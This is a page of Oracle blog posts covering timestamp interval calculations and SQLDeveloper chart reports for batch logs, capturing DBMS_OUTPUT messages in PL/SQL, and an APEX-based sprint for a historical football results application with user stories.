The Anti-Kyte

Subscribe to The Anti-Kyte feed The Anti-Kyte
Oracle - for when it was like that when you got there
Updated: 7 hours 3 min ago

Using the INTERVAL data type ( and some pictures) to tell the difference between two Timestamps in Oracle

Mon, 2021-04-05 14:30

Looking after an overnight batch process can be a big fraught at times.
If it’s a good day, you might begin the morning with a nice cup of coffee and a leisurely scroll through the logs to confirm that all is well.
In contrast, if the batch has overrun you may well find yourself scrambling through those same logs whilst gulping down large quantities of caffeine in a desperate attempt to hot-wire your brain into working out the elapsed time between each entry. Not great. Especially when you consider that, as Terry Pratchett put it,
“Coffee is a way of stealing time that should by rights belong to your older self”.
A better approach might be to get Oracle to do it for you.

What we’re going to look at here is :

  • the INTERVAL data type that holds the difference between two TIMESTAMP values
  • using the LAG SQL function to report the interval time between timestamps across rows of a query
  • creating some graphs using SQLDeveloper User Defined Reports for when it’s just too early for words and numbers.
The Batch Log table

Running on Oracle 18cXE, our overnight batch logs to the BATCH_LOG table :

create table batch_log (
    id number generated always as identity,
    log_ts timestamp not null,
    job_name varchar2(50),
    status varchar2(25))
/ 

I’ve used the following script to populate the table with some test data :

set serverout on size unlimited
clear screen
declare

    tbl_jobs dbms_utility.name_array;
    tbl_statuses dbms_utility.name_array;
    
    start_ts timestamp := to_timestamp('16-MAR-2021 01:00', 'DD-MON-YYYY HH24:MI');
    v_ts timestamp;
    v_duration pls_integer;
begin

    tbl_jobs(1) := 'EXTRACT';
    tbl_jobs(2) := 'TRANSFORM';
    tbl_jobs(3) := 'LOAD';
    tbl_jobs(4) := 'REPORT';

    tbl_statuses(1) := 'STARTED';
    tbl_statuses(2) := 'COMPLETED';
        
    for i in 1..7 loop
        v_ts := start_ts;
        for j in 1..tbl_jobs.count loop
            v_duration := 
                case mod(j, 4) 
                    when 3 then trunc(dbms_random.value(8,11))
                    when 2 then trunc(dbms_random.value(30,41)) 
                    when 1 then trunc(dbms_random.value(25,31)) 
                    else trunc(dbms_random.value(15,21)) 
                end;
            for k in 1..tbl_statuses.count loop
                insert into batch_log( log_ts, job_name, status)
                values( 
                    case when tbl_statuses(k) = 'STARTED' then v_ts else v_ts + (v_duration/1440) end, 
                    tbl_jobs(j), 
                    tbl_statuses(k));
            end loop;
            v_ts := v_ts + (v_duration/1440);
        end loop;
        start_ts := start_ts + interval '1' day;
    end loop;    
end;
/

-- Now simulate a long running Load job
update batch_log 
set log_ts = log_ts + (60/1440)
where id >= (select max(id) from batch_log where job_name = 'LOAD' and status = 'COMPLETED');


commit;


As a result, the table now has a week’s worth of log entries.

The INTERVAL data type

You can find lots of information about Oracle’s DATETIME and INTERVAL data types in the documentation. Here’s the 18c version , for example ( all of the code here is written and tested on 18cXE).

You will see from this that we have two distinct INTERVAL data types – Year to Month and Day to Second.
It’s the latter of these which is relevant in the current context, unless you’re having extreme performance issues on your overnight batch.

If you have any scheduler jobs running, you can see an example of the INTERVAL data type in action in the _scheduler_jobs views :

select owner, job_name, last_run_duration
from dba_scheduler_jobs t
where run_count > 0;
OWNER           JOB_NAME                                 LAST_RUN_DURATION  
--------------- ---------------------------------------- -------------------
SYS             PURGE_LOG                                +00 00:00:00.924991
SYS             PMO_DEFERRED_GIDX_MAINT_JOB              +00 00:00:00.117572
SYS             CLEANUP_NON_EXIST_OBJ                    +00 00:00:00.221356
SYS             CLEANUP_ONLINE_IND_BUILD                 +00 00:00:00.382708
SYS             CLEANUP_TAB_IOT_PMO                      +00 00:00:00.129863
SYS             CLEANUP_TRANSIENT_TYPE                   +00 00:00:00.071285
SYS             CLEANUP_TRANSIENT_PKG                    +00 00:00:00.094254
SYS             CLEANUP_ONLINE_PMO                       +00 00:00:00.024660
SYS             FILE_SIZE_UPD                            +00 00:00:00.166189
SYS             ORA$AUTOTASK_CLEAN                       +00 00:00:00.151000
SYS             DRA_REEVALUATE_OPEN_FAILURES             +00 00:00:00.387121
SYS             BSLN_MAINTAIN_STATS_JOB                  +00 00:00:00.443146
SYS             RSE$CLEAN_RECOVERABLE_SCRIPT             +00 00:00:00.324392
SYS             SM$CLEAN_AUTO_SPLIT_MERGE                +00 00:00:00.023483
APEX_180200     ORACLE_APEX_PURGE_SESSIONS               +00 00:00:00.868204
APEX_180200     ORACLE_APEX_MAIL_QUEUE                   +00 00:00:00.026859
APEX_180200     ORACLE_APEX_WS_NOTIFICATIONS             +00 00:00:01.685787
APEX_180200     ORACLE_APEX_DAILY_MAINTENANCE            +00 00:00:00.943306
ORDS_METADATA   CLEAN_OLD_ORDS_SESSIONS                  +00 00:00:00.640826

19 rows selected. 

According to the documentation, INTERVALs are not subject to a format model in the same way that dates and timestamps are. However, you can re-format their contents using the EXTRACT function.
For example, if we want to convert the LAST_RUN_DURATION from our previous query into seconds, then we can run :

select owner, job_name,
    (extract ( minute from last_run_duration) * 60) +
    extract( second from last_run_duration) as last_run_secs
from dba_scheduler_jobs
where run_count > 0
order by 3 desc
/

…which returns…

OWNER           JOB_NAME                                 LAST_RUN_SECS
--------------- ---------------------------------------- -------------
APEX_180200     ORACLE_APEX_WS_NOTIFICATIONS                  1.685787
APEX_180200     ORACLE_APEX_DAILY_MAINTENANCE                  .943306
SYS             PURGE_LOG                                      .924991
APEX_180200     ORACLE_APEX_PURGE_SESSIONS                     .868204
ORDS_METADATA   CLEAN_OLD_ORDS_SESSIONS                        .640826
SYS             BSLN_MAINTAIN_STATS_JOB                        .443146
SYS             DRA_REEVALUATE_OPEN_FAILURES                   .387121
SYS             CLEANUP_ONLINE_IND_BUILD                       .382708
SYS             RSE$CLEAN_RECOVERABLE_SCRIPT                   .324392
SYS             CLEANUP_NON_EXIST_OBJ                          .221356
SYS             FILE_SIZE_UPD                                  .166189
SYS             ORA$AUTOTASK_CLEAN                                .151
SYS             CLEANUP_TAB_IOT_PMO                            .129863
SYS             PMO_DEFERRED_GIDX_MAINT_JOB                    .117572
SYS             CLEANUP_TRANSIENT_PKG                          .094254
SYS             CLEANUP_TRANSIENT_TYPE                         .071285
APEX_180200     ORACLE_APEX_MAIL_QUEUE                         .026859
SYS             CLEANUP_ONLINE_PMO                              .02466
SYS             SM$CLEAN_AUTO_SPLIT_MERGE                      .023483

19 rows selected.

What we need now is a way to calculate the durations between rows in a single query…

The LAG function

As ever, OracleBase has a pretty good explanation of the LEAD and LAG functions.

All we need to do is to use the LAG function to find the elapsed time between the timestamp of the current record and that of it’s predecessor in the result set :

select trunc(log_ts) as run_date,
    job_name,
    status,
    log_ts,
    case when status = 'COMPLETED' then
        log_ts - lag( log_ts) over( order by log_ts)
    end as duration,
    case when status = 'COMPLETED' then
        extract( hour from log_ts - lag(log_ts) over (order by log_ts)) * 60 +
        extract( minute from log_ts - lag(log_ts) over (order by log_ts))
    end as duration_mins
from batch_log
order by log_ts
/

We could use what we have so far as the basis for an ad-hoc script to give us information about batch runtimes. Then again, if it’s one of those mornings where you’re struggling a bit, looking at a picture might make things a bit easier. That last listing was from SQLDeveloper, which is handy considering where we’re going next …

SQLDeveloper User Defined Chart Reports – The Line Chart

We can see the total runtime for the batch for each day using the query :

with batch_runs as (
    select job_name, status, log_ts,
        case status when 'COMPLETED' then
            (extract( hour from log_ts - lag( log_ts, 1) over( order by log_ts)) * 60) +
            extract(minute from log_ts - lag(log_ts, 1) over( order by log_ts))
        end as duration_mins
    from batch_log
    where (
        (job_name = 'EXTRACT' and status = 'STARTED')
        or (job_name = 'REPORT' and status = 'COMPLETED'))    
    order by log_ts)
select trunc(log_ts) as run_date,
    duration_mins
from batch_runs    
where duration_mins is not null
order by 1
/

…which returns…

RUN_DATE    DURATION_MINS
----------- -------------
16-MAR-2021            88
17-MAR-2021            83
18-MAR-2021            90
19-MAR-2021            84
20-MAR-2021            94
21-MAR-2021            91
22-MAR-2021           155

7 rows selected. 

Jeff Smith has a nifty way of turning a SQLDeveloper query grid into a chart report, which I’ve largely plagiarised below.

First, we run the query in a SQLDeveloper worksheet. Then, in the result grid, right-click and select Save Grid as Report :

This will take you to the Create Report Window :

As you can see, SQLDeveloper has reformatted the query a bit.

Now we can add a Name for the report.
Before we go any further, it’s probably a good idea to specify a connection at this point. This will help us when we’re configuring the report as we’ll be able to use live data to see how things look.
The other thing we need to do is to specify a series name so that we can produce a line graph.

This means that the report query now looks like this :

SELECT "RUN_DATE", "DURATION_MINS", 
    'Overnight Runs' as series_name 
FROM(
with batch_runs as (
    select job_name, status, log_ts,
        case status when 'COMPLETED' then
            (extract( hour from log_ts - lag( log_ts, 1) over( order by log_ts)) * 60) +
            extract(minute from log_ts - lag(log_ts, 1) over( order by log_ts))
        end as duration_mins
    from batch_log
    where (
        (job_name = 'EXTRACT' and status = 'STARTED')
        or (job_name = 'REPORT' and status = 'COMPLETED'))    
    order by log_ts)
select trunc(log_ts) as run_date,
    duration_mins
from batch_runs    
where duration_mins is not null
order by 1
)

…and with a connection specified, I can check everything is still working as expected by clicking the Test Report button…

…which provides the expected output.

Now I know that my query still works, I can change the report Style from Table to Chart :

Now we need to click on the Property node of the navigation tree in the left-hand pane of the Create Report Window.
Here, we change the Chart Type to Line :

Next we need to specify the Data for the report so we need to click on the Data Tree Node.

As we’re connected to a database, we can Fetch Column Names so we can select the Group, Series and Value columns from a drop-down.

Now we can check the Use Live Data checkbox and click Refresh Report to see what the output will look like :

Finally, click the Apply button in the bottom right of the Create Report window and the new report will appear in the User Defined Reports node of the main Reports pane :

Now we can run the report in the usual way…

A picture paints a thousand words…but in this case just says “Hmmm…”

If we want a more granular view of what’s happening during the batch run, but we’re not quite ready to deal with actual text, we can try using…

A Stacked Bar Chart

This time, we want to know the elapsed time for each process in the batch. Therefore, we’ll use this query as the basis for our report :

select trunc(log_ts) as run_date,
    job_name,
    status,
    log_ts,
    case when status = 'COMPLETED' then
        log_ts - lag( log_ts) over( order by log_ts)
    end as duration,
    case when status = 'COMPLETED' then
        extract( hour from log_ts - lag(log_ts) over (order by log_ts)) * 60 +
        extract( minute from log_ts - lag(log_ts) over (order by log_ts))
    end as duration_mins
from batch_log
order by log_ts

The Report creation is as before, except that this time we choose a Chart Type of Bar – Vertical Stack.
Additionally, in order to view the total time for each day, we go to the Plot Area Property and check the Cumulative box in the Data Tips section :

Running this new report, we can see that the increase in duration is due to the Load process taking rather longer than normal :

Should it really be that colour ?

Of course, you’ll need to investigate further to find out just exactly what’s going on but, thanks to some handy SQL features and a couple of SQLDeveloper Chart Reports, at least you know where to start looking.

__ATA.cmd.push(function() { __ATA.initDynamicSlot({ id: 'atatags-26942-606b76329ee58', location: 120, formFactor: '001', label: { text: 'Advertisements', }, creative: { reportAd: { text: 'Report this ad', }, privacySettings: { text: 'Privacy', } } }); });

Capturing DBMS_OUTPUT.PUT_LINE messages in the heat of a Six Nations campaign

Mon, 2021-02-22 15:35

It’s not a good time to be English, not in my house. That’s right, the Six Nations is in full swing and my Welsh wife and her family are once again indulging in the time-honoured practice of taunting the English.
As deployment of my emergency backup nationality ( “born In New Zealand, I’m neutral, honest !”) has failed, I’m reduced to keeping a low profile until the Brains Bitter runs out.
Fortunately, there’s excellent Wi-Fi reception in the cupboard under the stairs, so I can drown out the sound Welsh Nationalism and concentrate on the topic at hand.

Whatever language you’re coding in, however sophisticated you’re IDE, sooner or later you will likely revert to the time-hounoured debugging technique of writing out messages or variable values at runtime in an effort to find out what the heck is going on.
PL/SQL is no exception and DBMS_OUTPUT.PUT_LINE is the procedure that facilitates this practice.
However, whilst it’s a simple matter to view the messages interactively, how can you retrieve them if you are running the program as part of a batch process, where attaching a client to the session is not an option ?

WARNING – the code that follow may contain (memory) leeks…

How DBMS_OUTPUT works in SQL*Plus

To begin with, let’s find out what set serveroutput on in a SQL*Plus session actually does.
Yes, you could just have a quick look at the documentation, but you’re here now so…

alter session set tracefile_identifier = 'mike';
exec dbms_monitor.session_trace_enable(null, null, true, true);
set serveroutput on size unlimited

begin dbms_output.put_line(q'[What's occurrin' ?]'); end;
/

exec dbms_monitor.session_trace_disable;

We can find the location of the tracefile using :

select name
from v$diag_info
where name = 'Default Trace File';

To save mucking about with tkprof, I’ve just used an ftp client to retrieve the trace file from the server and then simply open it in SQLDeveloper…

You can expand the nodes in the default Tree View. In this case however, things may become clearer if we simply open the Statistics View tab :

In addition to the statments we’ve entered for tracing, we can see that
set serveroutput on size unlimited has been translated into two statements :

declare
    l_line varchar2(32767);
    l_done number;
    l_buffer varchar2(32767) := '';
    l_lengthbuffer number := 0;
    l_lengthline number := 0;
begin 
  loop 
    dbms_output.get_line( l_line, l_done ); 
    if (l_buffer is null) then 
      l_lengthbuffer := 0; 
    else 
      l_lengthbuffer := length(l_buffer); 
    end if; 
    if (l_line is null) then 
      l_lengthline := 0; 
    else 
      l_lengthline := length(l_line); 
    end if; 
  exit when l_lengthbuffer + l_lengthline > :maxbytes OR l_lengthbuffer + l_lengthline > 32767 OR l_done = 1; 
  l_buffer := l_buffer || l_line || chr(10); 
    end loop; 
    :done := l_done; 
    :buffer := l_buffer; 
    :line := l_line; 
end;

…followed by …

begin dbms_output.enable(1000000); end;
Saving DBMS_OUTPUT.PUT_LINE messages to a table

The trace file has given us a number of pointers as to how we can do this.

First of all, let’s take a look at a stored program unit whose output messages we want to capture :

create or replace procedure six_nations( i_wal_pts in number, i_eng_pts in number) 
is
begin
    dbms_output.put_line('Wales : '||i_wal_pts||', England : '||i_eng_pts);
    dbms_session.sleep(5);
    if nvl(i_wal_pts, 0) <= nvl(i_eng_pts, 0) then
        dbms_output.put_line('ERROR : User is English!');
    else
        dbms_output.put_line('Bread of Heaven!');
    end if;
    dbms_session.sleep(10);
    dbms_output.put_line('Program Complete');
end;
/

Running this from SQL*Plus…

set serverout on 
exec six_nations(9,9);
exec six_nations(9,11);
exec six_nations(15,9);

…we get…

Wales : 9, England : 9
ERROR : User is English!
Program Complete


PL/SQL procedure successfully completed.

Wales : 9, England : 11
ERROR : User is English!
Program Complete


PL/SQL procedure successfully completed.

Wales : 15, England : 9
Bread of Heaven!
Program Complete


PL/SQL procedure successfully completed.

We can write these messages to a messages table…

create table six_nations_messages (
    id number generated always as identity,
    msg_ts timestamp,
    message varchar2(4000))
/

… by using the following anonymous block to wrap our calls…

declare
    v_msg six_nations_messages.message%type;
    v_status pls_integer := 0;
begin
    dbms_output.enable;
    six_nations(9,9);
    loop
        dbms_output.get_line(v_msg, v_status);
        if v_status = 0 then
            insert into six_nations_messages(msg_ts, message)
            values(systimestamp, v_msg);
        end if;
        exit when v_status != 0;
    end loop;
end;
/

NOTE – for the sake of simplicity, this code assumes messages will not be longer than 4000 characters, although the limit for dbms_output is actually 32K.

Whilst this approach does allow us to access all of the messages, the messages are only read after the procedure finishes executing :

select * from six_nations_messages;

        ID MSG_TS                       MESSAGE                                                     
---------- ---------------------------- ------------------------------------------------------------
        21 20-FEB-21 14.38.56.037399000 Wales : 9, England : 9                                      
        22 20-FEB-21 14.38.56.042760000 ERROR : User is English!                                    
        23 20-FEB-21 14.38.56.042837000 Program Complete                                            

Multi-purpose logging routine

One alternative to peppering your code with dbms_output statements could be to amend your logging routine to output log messages to the screen if required.

A simple version of such a program might be :

create or replace procedure logit( i_msg in varchar2, i_interactive in boolean default true)
as
    pragma autonomous_transaction;
begin
    insert into six_nations_messages( msg_ts, message)
    values( systimestamp, i_msg);
    if i_interactive then
        dbms_output.put_line(i_msg);
    end if;
end;    

NOTE – once again, this code is written to keep things simple. You might consider it more realistic to have some kind of table based lookup to determine whether to output your message to the screen.

Either way, you could call this instead of dbms_output

create or replace procedure six_nations( i_wal_pts in number, i_eng_pts in number) 
is
begin
    logit('Wales : '||i_wal_pts||', England : '||i_eng_pts);
    dbms_session.sleep(5);
    if nvl(i_wal_pts, 0) <= nvl(i_eng_pts, 0) then
        logit('ERROR : User is English!');
    else
        logit('Bread of Heaven!');
    end if;
    dbms_session.sleep(10);
    logit('Program Complete');
end;
/

Now when we execute the procedure…

set serverout on
exec six_nations(21,19);

…we get the screen output…

Wales : 21, England : 19
Bread of Heaven!
Program Complete


PL/SQL procedure successfully completed.

…and also the log messages at the time they were issued by the procedure…

select * from six_nations_messages; 


        ID MSG_TS                       MESSAGE                                                     
---------- ---------------------------- ------------------------------------------------------------
        30 20-FEB-21 15.00.05.298440000 Wales : 21, England : 19                                    
        31 20-FEB-21 15.00.10.298579000 Bread of Heaven!                                            
        32 20-FEB-21 15.00.20.300390000 Program Complete                                            

Deb is threatening to do Bara brith for tea if Wales win. Fortunately, I’m quite partial to that particular Welsh delicacy. So much so that I’m off to find an inflatable daffodil and try to learn the words to “Land of My Fathers”.

Fantasy Software Development Sprint 1- Coding like it’s 1889 !

Mon, 2021-02-08 12:31

Now we have our backlog, it’s time to finish our setup and then get on and knock out some code…or maybe not.
Remember, we’re using APEX as part of our technical solution and we’re going to let it do some of the heavy lifting, at least to start with.

What we’re going to cover here is :

  • The stories selected for the Sprint
  • APEX attribute setting required to insert records into a table containing an identity column
  • What our Physical data model looks like at the end of the Sprint

But first…

Why Fantasy Software Development – A quick recap

The reason for this series of posts is to explore how both the methodology used for development and later enhancements to the application affect the finished product.
The requirements for this initial version of the application cover Football only up to the end of the 1888/89 season. For the purposes of this exercise, we’re trying – for the most part – not to anticipate developments after that date. So, whilst we may reasonably take steps to future-proof our application, we’re not going to indulge in clairvoyance by predicting the advent of VAR, for example.

Right…

Story Selection

One of the more appealing features of Agile methodologies is that they can be used to generate momentum in a development project. Therefore we’re looking for stories that are likely to result in an end-to-end “slice” of the application.
Despite the fact that we’re not designing the data model up-front, we do need to account for the fact that there are certain self-evident dependencies between the entities suggested by our user stories. It’s likely to save quite a bit of refactoring if we tackle the “top-level” tables first.
One final consideration, at this stage in my Fantasy Project, our imaginary product owner is the Football Association. As can be inferred from some of the User Stories, these Victorian administrators are rather keen on developing the Application’s potential in the area of, well, administration.
Fortunately, all of these considerations coincide in the stories to manage reference data so we’re starting with those.
The stories included into Sprint 1 are :

  • Create a Competition
  • Administer Teams
  • Administer Venues
  • Create a Tournament
  • Specify a Tournament Format

Inevitably, there are dependencies between some stories. For example, we’re going to have to develop the Competitions story before moving on to the Tournament ones as there is a clear dependency. A tournament is an instance of a Competition.

These stories tend to follow the same pattern in terms of development, so let’s take a closer look at one of them.

The Create a Competition Story

To start with, we need to create the COMPETITIONS table. This table needs to contain a unique identifier, together with a name for the Competition.
On this occasion, we’re going to use a Character Identifier (CID) for the unique identifier. I feel this makes more sense than a numeric ID in this instance but can’t really explain why. It’s probably down to a lifetime of watching the football scores come through on the videprinter during Final Score on a Saturday afternoon.
Anyhow, our table looks like this :

create table competitions (
    cid varchar2(25), 
    comp_name varchar2(250) not null, 
    constraint comp_pk primary key(cid))
/

comment on table competitions is 'Alias : COMP';
comment on column competitions.cid is 'Character Identified for a competition. Primary Key';
comment on column competitions.comp_name is 'Full name of the competition. Mandatory';

A couple of minor things to note here :

  • name is a reserved work so I’ve prefixed the column name with the table alias
  • I’m not sure how relevant table aliases are these days, given that object names can now be up to 128 characters (before 12c they were 30)

The second point is particularly relevant when you consider the name I’ve chosen for the Primary Key constraint – COMP_PK. I mean, why not COMPETITIONS_PK ? The only excuse I can offer here is that old habits die hard !

Incidentally, if you share my sensibilities on the matter of avoiding keywords when naming database objects ( and columns), you can get a list of keywords by running :

select *
from v$reserved_words
order by keyword
/

Oh, one more thing while we’re here, comments on tables, and especially columns, can provide invaluable documentation, especially when you’re designing your database on the hoof as we are doing here.

Now we have our table, we need a UI and some code to perform DML on it.
At this point I should probably start work on the PL/SQL TAPI in strict adherence to the SmartDB doctrine.
But blow that for a lark – I can use APEX to do the job for me without adding a single line of code to my application.
Look, I’m fully alongside the idea that PL/SQL should form the backbone of an application such as this. However, in this specific context ( an APEX screen to manage data in a reference table), it’s just unnecessary extra code.

Anyhow, having setup my APEX Workspace, I just need to click through a wizard and I have an Interactive Grid that I can use to edit the table :

APEX Interactive Grids on tables with Identity Columns

some of our tables, such as TEAMS, has an identity column :

create table teams (
    id number generated always as identity,
	team_name varchar2(250 byte) not null, 
	nationality varchar2(50 byte) not null, 
	team_type varchar2(50 byte) not null, 
	 constraint teams_team_type_chk check (team_type in ('CLUB', 'INTERNATIONAL')), 
	 constraint teams_pk primary key (id),
	 constraint teams_uk unique (team_name, nationality),
	 constraint teams_country_fk foreign key (nationality) references footie.countries (cid))
/

Once we’ve got our Interactive Grid, we need to edit the properties of the ID column so that it’s set to Query Only. When we insert a record, the database will take care of the new ID value :

Where’s the testing ?

Whilst unit tests will feature prominently in the development of any PL/SQL code we write for this project, it’s not something we’re doing on the APEX code.
This is mainly because there isn’t too much in the way of moving parts here. This is also because I’m not familiar with my options in terms of APEX unit testing frameworks. Once again, this may come along later in the project.

The Data Model

At the end of the Sprint, our Physical Data Model looks like this :

We’ve already seen the DDL for COMPETITIONS and TEAMS. The rest of the tables are created as follows ( source generated from SQLDeveloper, hence the different formatting) :

  CREATE TABLE "FOOTIE"."COUNTRIES" 
   (	"CID" VARCHAR2(25), 
	"COUNTRY" VARCHAR2(250), 
	 CONSTRAINT "COUNTRIES_PK" PRIMARY KEY ("CID")
  USING INDEX  ENABLE
   ) ;

CREATE TABLE "FOOTIE"."VENUES" 
   (	"ID" NUMBER GENERATED ALWAYS AS IDENTITY MINVALUE 1 MAXVALUE 9999999999999999999999999999 INCREMENT BY 1 START WITH 1 CACHE 20 NOORDER  NOCYCLE  NOKEEP  NOSCALE  NOT NULL ENABLE, 
	"GROUND_NAME" VARCHAR2(250) NOT NULL ENABLE, 
	"TOWN" VARCHAR2(250), 
	"CITY" VARCHAR2(250), 
	"COUNTRY_CID" VARCHAR2(250) NOT NULL ENABLE, 
	 CONSTRAINT "VENUES_PK" PRIMARY KEY ("ID")
  USING INDEX  ENABLE, 
	 CONSTRAINT "VENUE_COUNTRY_FK" FOREIGN KEY ("COUNTRY_CID")
	  REFERENCES "FOOTIE"."COUNTRIES" ("CID") ENABLE
   ) ;

 CREATE TABLE "FOOTIE"."TOURNAMENTS" 
   (	"ID" NUMBER GENERATED ALWAYS AS IDENTITY MINVALUE 1 MAXVALUE 9999999999999999999999999999 INCREMENT BY 1 START WITH 1 CACHE 20 NOORDER  NOCYCLE  NOKEEP  NOSCALE  NOT NULL ENABLE, 
	"COMP_CID" VARCHAR2(25) NOT NULL ENABLE, 
	"YEAR_START" NUMBER, 
	"YEAR_END" NUMBER, 
	"NUMBER_OF_TEAMS" NUMBER, 
	"TFMT_CID" VARCHAR2(25), 
	 CONSTRAINT "TOURN_PK" PRIMARY KEY ("ID")
  USING INDEX  ENABLE, 
	 CONSTRAINT "END_AFTER_START_CHK" CHECK (year_end >= year_start) ENABLE, 
	 CONSTRAINT "TOURN_COMP_FK" FOREIGN KEY ("COMP_CID")
	  REFERENCES "FOOTIE"."COMPETITIONS" ("CID") ENABLE, 
	 CONSTRAINT "TOURN_TFMT_FK" FOREIGN KEY ("TFMT_CID")
	  REFERENCES "FOOTIE"."TOURNAMENT_FORMATS" ("CID") ENABLE
   ) ;

   COMMENT ON COLUMN "FOOTIE"."TOURNAMENTS"."COMP_CID" IS 'Competition that this tournament is an instance of. Foreign Key to COMPETITIONS.CID';
   COMMENT ON TABLE "FOOTIE"."TOURNAMENTS"  IS 'Alias : TOURN. Instance of a Competition';

 CREATE TABLE "FOOTIE"."TOURNAMENT_FORMATS" 
   (	"CID" VARCHAR2(25), 
	"DISPLAY_NAME" VARCHAR2(100) NOT NULL ENABLE, 
	"DESCRIPTION" VARCHAR2(4000) NOT NULL ENABLE, 
	 CONSTRAINT "TOURNAMENT_FORMATS_PK" PRIMARY KEY ("CID")
  USING INDEX  ENABLE
   ) ;

   COMMENT ON TABLE "FOOTIE"."TOURNAMENT_FORMATS"  IS 'Formats that a tournament may be played in. Alias :TFMT';

There are one or two minor niggles but, on the whole, that all seems fairly reasonable at the moment.

In the next post, I’ll be completing the initial application. This will give us some idea of how the final data model has been influenced by the incremental approach we’ve taken to modelling.

Fantasy Software Development – Story Finding

Sat, 2021-01-16 08:56

As threatended promised, I’m going to look at the first phase of my Application – recording the results and outcomes of Soccer tournaments from the first days of the sport in 1871 through to the culmination of the first Football League Championship in 1889.

I’ll begin with a narrative description of the functional requirements of our application. OK, it’s more like a potted history of the early days of Association Football, but I’ve got to start somewhere.

I’ll use this to extrapolate some user stories, which I’ll then drop into Altassian Jira having taken advantage of a free Jira account.

If you’re an Oracle developer and reading this is your first experience of Scrum, then you may feel that it’s not an obvious fit for developing a data-centric application.
On the other hand, if you’re a Scrum officianado, you may be faintly horrified by the “free-form” way I’m approaching Scrum. So, something to annoy everyone then…

Association Football – The Early Years

Those of you less than enamoured of “the Beautiful Game” will not be unduly surprised to learn that it all started with a bunch of blokes in a pub…

On 26th October 1863, at the Freemason’s Tavern in London, the Football Association (FA) first came into being.
Despite this, the rules observed by it’s member clubs when playing the game remained somewhat fragmented.
There were several versions to choose from and clubs would agree a set of rules to adhere to when playing each other.

In an attempt to promote the “Association” rules ( adopted by the FA), Charles Alcock, Secretary of the FA came up with the idea of a Cup competition between all of the clubs affiliated to the Association.
All matches in this new competition would be played under this single set of rules.
Thus it was that Association Football ( soccer) really came into being several years after it’s governing body was founded.
To give a flavour of how fundamental this change was, the Rules established such matters as the number of players per side (11), and the duration of a match ( 90 minutes), which had not been consistent across the various football codes then extant.

The FA CUP

The first Tournament duly took place in the 1871/72 season.
The format can best be described as “sort of knock-out”.
Whilst the winners of a tie between two competing teams would advance to the next stage of the competition, this was not the only method of progression. There was, of course, the possibility of being awarded a bye, a free-pass to the next round if there were an odd number of teams in the current round.
Teams could also be awarded a Walkover, if their designated opponents withdrew.
Additionally, at the discretion of the competition’s organising committee, teams could advance if :
– they drew their fixture ( both teams could go through)
– they could not agree a date and venue with the opponents against whom they had been drawn.
Eventually, the 14 entrants were whittled down to Wanderers, who defeated Royal Engineers 1-0 in the Final, played on 16th March 1872 at the Kennington Oval in London.

Originally, the intention was for the cup holders to defend the trophy from challengers, hence the competition’s full name – The Football Association Challenge Cup.
For the 1872/73 tournament, Wanderers were given a bye all the way through to the final with the remaining matches being essentially and elimination event to find a challenger.
Wanderers were also given choice of venue and – perhaps unsurpisingly – managed to retain the trophy with a 2-0 win over Oxford University.

It’s only from 1873/74 that the competition settles down into a consistent knock-out format.

For the first 10 years of competition, the southern amateur teams dominated, and it was not until 1882 that a team from the north of England appeared in the final.
That year, Old Etonians saw off the challenge of Blackburn Rovers. It was to prove the end of an era.
In subsequent years the centre of power changed radically, Rovers’ local rivals Blackburn Olympic won the trophy the following season after which Rovers themselves, won three consecutive finals.

The Football League

By 1888, football in England was dominated by professional clubs in the North and Midlands. 12 such clubs formed the Football League and participated in the first season.
The League format consisted of each team playing all of the others, once on their home ground and once on the opponents’ ground.
For each match won, 2 points were awarded.
For a draw, one point was awarded.
No points were awarded for a defeat.
Teams finishing level on points would be separated by Goal Average.

Goal Average was calculated by dividing the number of goals scored over the course of the season by the number of goals conceded.

International Football

The first international took place on 30th November 1872 in Glasgow, when Scotland and England drew 0-0.
As the game spread to Wales and Ireland (which was then a single entity and part of the United Kingdom), matches between the four home nations became a regular occurrence. However, each association observed slightly different rules and this was the cause of some friction.
Eventually, the International Football Conference was convened in Manchester in December 1882. It was at this meeting where a common set of rules were agreed.
The first full season in which these rules were applied was 1883/84 and it’s subsequently been acknowledged that the matches played between the Home nations in that season comprised the inaugural British Home Championship – the first international soccer tournament.
The format was a round-robin with each nation playing the other once with home and away fixtures alternating between years.
The outcome of the tournament was decided using the same criteria as for the Football League, with the exception that Goal Average was not applied and teams finishing level on points were considered to be tied.
Given the influence of Scottish players on the development of the game, it’s little surprise that Scotland won the inaugural championship. Indeed, Scotland only failed to win one of the first six tournaments up to and including 1888/89.

I should point out that applying this format to the Home International Championship is slightly anachronistic.
Contemporary reports don’t include league tables and these seem to have been applied several years later, under the influence of the format adopted by the Football League.
For our purposes however, we’re going to proceed on the basis that this format was in place from the outset.

User Stories

To start with, I’ve identified three distinct user roles :

  • Football Administrator – generally runs the FA and sets up Competitions
  • Tournament Organiser – manages tournaments
  • Record Keeper – enters fixture data, including results and maintains league tables

The stories are written from the perspective of these users.

Football Administrator Stories
Title : Create Competition
 As a : Football Administrator 
 I would like to : create a competition
 so that : I can provide a structured environment for teams to participate
Title : Administer Teams
 As a : Football Administrator
 I would like to : Maintain details of teams 
 So that : I know which teams are eligible to enter competitions
Title : Administer Venues
 As a : Football Administrator
 I would like to : Maintain details of venues where matches can be played
 So that : I know where teams can fulfil fixtures.
Tournament Organiser Stories
Title : Create Tournament
 As a : Tournament Orgainiser
 I would like to : create a tournament
 so that : teams can compete against each other
Title : Specify a format for a tournament
 As a : Tournament Organiser
 I would like to : specify the format for a tournament
 so that : I can anticipate what fixtures may be played
Title : Define Tournament Rules
 As a : Tournament Organiser
 I would like to : Define the rules for the tournament
 So that : I know how to determine the outcome of the tournament
Title : Enter Teams
 As a : Tournament Organiser
 I would like to : Accept the entry of teams into a tournament
 So that : I know which teams are competing in a tournament
Title : Assign Tournament Venues
 As a : Tournament Organiser
 I would like to : Assign venues to a tournament
 So that : I know where tournament fixtures may be played
Title : Assign Players to Tournament Teams
 As a : Tournament Organiser
 I would like to : assign players to a team 
 So that : I know which players are playing for which team in a tournament
Title : Override Tournament Fixture Results
 As a : Tournament Organiser
 I would like to : override results of fixtures
 So that : I can account for exceptional circumstances
Title : Teams remaining in a tournament
 As a : Tournament Organiser
 I would like to : identify the teams still in a knock-out tournament
 so that : I know which teams will be in the draw for the next round
Title : Future fixtures
 As a : Tournament Organiser
 I would like to : add tournament fixtures even when the teams are not known
 So that : I can anticipate which future fixtures are required for the tournament to be completed.
Record keeper stories
As a : Record Keeper
 I would like to : record details of a fixture 
 so that : I can see what happened during a match
As a : Record Keeper
 I would like to : view a league table based on results so far
